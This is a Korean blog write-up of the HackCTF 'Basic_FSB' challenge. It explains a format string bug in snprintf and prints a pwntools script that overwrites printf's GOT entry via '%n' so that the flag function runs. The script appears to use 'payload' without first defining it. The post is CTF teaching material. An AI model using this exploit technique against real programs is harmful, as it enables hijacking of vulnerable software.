미친해커

[HackCTF] Pwnable : Basic_FSB 본문

Hacking/HackCTF

[HackCTF] Pwnable : Basic_FSB

미친해커 2021. 6. 17. 12:28
반응형

이번에는 FSB (Format String Bug) 문제이다.

 

IDA를 이용해 디스어셈블해보자

 

main 함수

vuln 함수가 정의되어 있는것으로 보인다. vuln 함수를 확인해보자

 

vuln 함수

vuln 함수에서 fgets로 입력을 받고 입력받은 문자열을 snprintf를 이용하여 format으로 복사한다. 이때 Format String에 맞춰 format에 쓰여진다. 하지만 s에 받은 문자열에 서식문자가 있다면 Format String Bug가 발생한다. 만약 취약점이 발생하지 않도록 한다면 '%s' 서식문자를 사용해 format에 쓰면 된다.
printf에서는 단순히 format에 쓰여진 문자를 출력한다.

 

flag 함수

이 외에도 flag 함수도 찾을 수 있다. 이번에도 flag 함수를 실행시키면 flag를 따낼 수 있을 것으로 보인다.

서식문자를 사용했다면 '%s' 의 자리에 네번쨰 인자인 'Hello World! %x' 가 그대로 들어가 'Hello World! %x\n' 가 출력이 된다. 하지만 그게 아니라 그냥 format을 출력하면 어떤일이 발생할까?

 

'AAAA %p %p %p' 라는 입력을 했는데 'AAAA %p %p %p'가 아닌 'AAAA' 뒤에 데이터가 추가로 출력이 됬다. 이런 현상이 발생하는 이유는 다음과 같다.

위와 같이 snprintf가 세 번째 인자로 들어온 문자열을 보고 서식문자가 존재하면 스택에서 그 값을 찾아 서식문자에 맞게 출력하게 된다. 이때 우리는 서식문자에 맞는 인자를 넣어주지 않았으므로 그대로 스택에 있는 값이 출력되어

Memory Leak이 발생하게 되는 것이다. 이번 문제는 Memory Leak을 이용하는 것보단 '%n' 을 사용하여 GOT Overwrite 기법을 사용하는 것으로 보인다.

snprintf 함수에서 FSB를 발생시키고 printf 함수의 GOT를 flag 함수의 주소로 덮어써버리면 printf 함수가 실행될 때 flag함수가 출력될 것이다. exploit 코드는 다음과 같다.

# file : basic_fsb.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3002)

dummy = 'AAAA'

payload += p32(0x804a00c) # 4Bytes
payload += dummy 
payload += p32(0x804a00d)
payload += dummy
payload += p32(0x804a00e)

#flag : 0x80485b4
offset1 = 0xb4 - 4 * 5
payload += '%' + str(offset1)  + 'x%n'

offset2 = 0x185 - 0xB4
payload += '%' + str(offset2)  + 'x%n'

offset3 = 0x804 - 0x185
payload += '%' + str(offset3) + 'x%n'

print(p.recvrepeat(1))
p.sendline(payload)
p.interactive()

printf 함수의 GOT Overwrite 해서 printf 함수가 실행 되지 않고 flag 함수가 실행되어 flag를 딸 수 있는것을 볼 수 있다.

반응형
Comments